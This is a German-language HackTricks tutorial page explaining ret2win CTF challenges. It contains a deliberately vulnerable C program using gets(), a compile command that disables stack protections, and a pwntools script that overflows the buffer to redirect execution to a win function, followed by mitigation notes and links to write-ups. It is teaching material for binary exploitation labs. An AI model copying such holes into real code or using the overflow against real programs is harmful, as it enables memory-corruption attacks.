# Ret2win

<details>

<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Andere Möglichkeiten, HackTricks zu unterstützen:

* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.

</details>

## Grundlegende Informationen

**Ret2win**-Herausforderungen sind eine beliebte Kategorie in **Capture The Flag (CTF)**-Wettbewerben, insbesondere bei Aufgaben, die **binäre Exploitation** beinhalten. Das Ziel besteht darin, eine Schwachstelle in einem gegebenen Binärfile auszunutzen, um eine bestimmte, nicht aufgerufene Funktion innerhalb des Binärs auszuführen, die oft etwas wie `win`, `flag` usw. genannt wird. Diese Funktion gibt in der Regel eine Flagge oder eine Erfolgsmeldung aus, wenn sie ausgeführt wird. Die Herausforderung beinhaltet in der Regel das Überschreiben der **Rückgabeadresse** auf dem Stack, um den Ausführungsfluss zur gewünschten Funktion umzuleiten. Hier ist eine detailliertere Erklärung mit Beispielen:

### C-Beispiel

Betrachten Sie ein einfaches C-Programm mit einer Schwachstelle und einer `win`-Funktion, die wir aufrufen möchten:
```c
#include <stdio.h>
#include <string.h>

void win() {
printf("Congratulations! You've called the win function.\n");
}

void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}

int main() {
vulnerable_function();
return 0;
}
```
Um dieses Programm ohne Stack-Schutz und mit deaktiviertem **ASLR** zu kompilieren, können Sie den folgenden Befehl verwenden:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
* `-m32`: Kompiliere das Programm als 32-Bit-Binärdatei (dies ist optional, aber üblich bei CTF-Herausforderungen).
* `-fno-stack-protector`: Deaktiviere Schutzmaßnahmen gegen Stack-Überläufe.
* `-z execstack`: Erlaube die Ausführung von Code auf dem Stack.
* `-no-pie`: Deaktiviere Position Independent Executable, um sicherzustellen, dass die Adresse der `win`-Funktion nicht geändert wird.
* `-o vulnerable`: Benenne die Ausgabedatei als `vulnerable`.

### Python-Exploit mit Pwntools

Für den Exploit verwenden wir **pwntools**, ein leistungsstarkes CTF-Framework zum Schreiben von Exploits. Das Exploit-Skript wird ein Payload erstellen, um den Puffer zu überlaufen und die Rücksprungadresse mit der Adresse der `win`-Funktion zu überschreiben.
```python
from pwn import *

# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path

# Find the address of the win function
win_addr = p32(0x08048456)  # Replace 0x08048456 with the actual address of the win function in your binary

# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr

# Send the payload
p.sendline(payload)
p.interactive()
```
Um die Adresse der `win`-Funktion zu finden, können Sie **gdb**, **objdump** oder ein anderes Tool verwenden, das es Ihnen ermöglicht, Binärdateien zu inspizieren. Zum Beispiel könnten Sie mit `objdump` folgendes verwenden:
```sh
objdump -d vulnerable | grep win
```
Dieser Befehl zeigt Ihnen die Assembly des `win`-Funktion, einschließlich ihrer Startadresse.

Das Python-Skript sendet eine sorgfältig erstellte Nachricht, die, wenn sie von der `vulnerable_function` verarbeitet wird, den Puffer überläuft und die Rückkehradresse auf dem Stapel mit der Adresse von `win` überschreibt. Wenn `vulnerable_function` zurückkehrt, anstatt zu `main` zurückzukehren oder zu beenden, springt es zu `win`, und die Nachricht wird gedruckt.

## Schutzmaßnahmen

* **PIE** sollte deaktiviert sein, damit die Adresse bei verschiedenen Ausführungen zuverlässig ist, oder die Adresse, an der die Funktion gespeichert wird, ist nicht immer gleich und Sie bräuchten ein Leck, um herauszufinden, wo die `win`-Funktion geladen ist. In einigen Fällen, wenn die Funktion, die den Überlauf verursacht, `read` oder ähnlich ist, können Sie eine **Teilweise Überschreibung** von 1 oder 2 Bytes durchführen, um die Rückkehradresse auf die `win`-Funktion zu ändern. Aufgrund der Funktionsweise von ASLR sind die letzten drei Hex-Nibbles nicht zufällig, sodass es eine **1/16-Chance** (1 Nibble) gibt, die richtige Rückkehradresse zu erhalten.
* **Stack Canaries** sollten ebenfalls deaktiviert sein, da die kompromittierte EIP-Rückkehradresse niemals befolgt wird.

## Weitere Beispiele & Referenzen

* [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
* [https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html)
* 32-Bit, kein ASLR
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html)
* 64-Bit mit ASLR, mit einem Leck der Bin-Adresse
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html)
* 64-Bit, kein ASLR
* [https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html)
* 32-Bit, kein ASLR, doppelter kleiner Überlauf, zuerst den Stapel überlaufen lassen und die Größe des zweiten Überlaufs vergrößern
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
* 32-Bit, relro, kein Canary, nx, kein PIE, Formatzeichenfolge zum Überschreiben der Adresse `fflush` mit der `win`-Funktion (ret2win)
* [https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html)
* 32-Bit, nx, nichts anderes, teilweise Überschreibung von EIP (1 Byte), um die `win`-Funktion aufzurufen
* [https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html)
* 32-Bit, nx, nichts anderes, teilweise Überschreibung von EIP (1 Byte), um die `win`-Funktion aufzurufen
* [https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html)
* Das Programm validiert nur das letzte Byte einer Zahl, um die Größe der Eingabe zu überprüfen. Daher ist es möglich, jede Größe hinzuzufügen, solange das letzte Byte im erlaubten Bereich liegt. Dann wird ein Pufferüberlauf erstellt, der mit einem ret2win ausgenutzt wird.
* [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
* 64-Bit, relro, kein Canary, nx, PIE. Teilweise Überschreibung, um die `win`-Funktion aufzurufen (ret2win)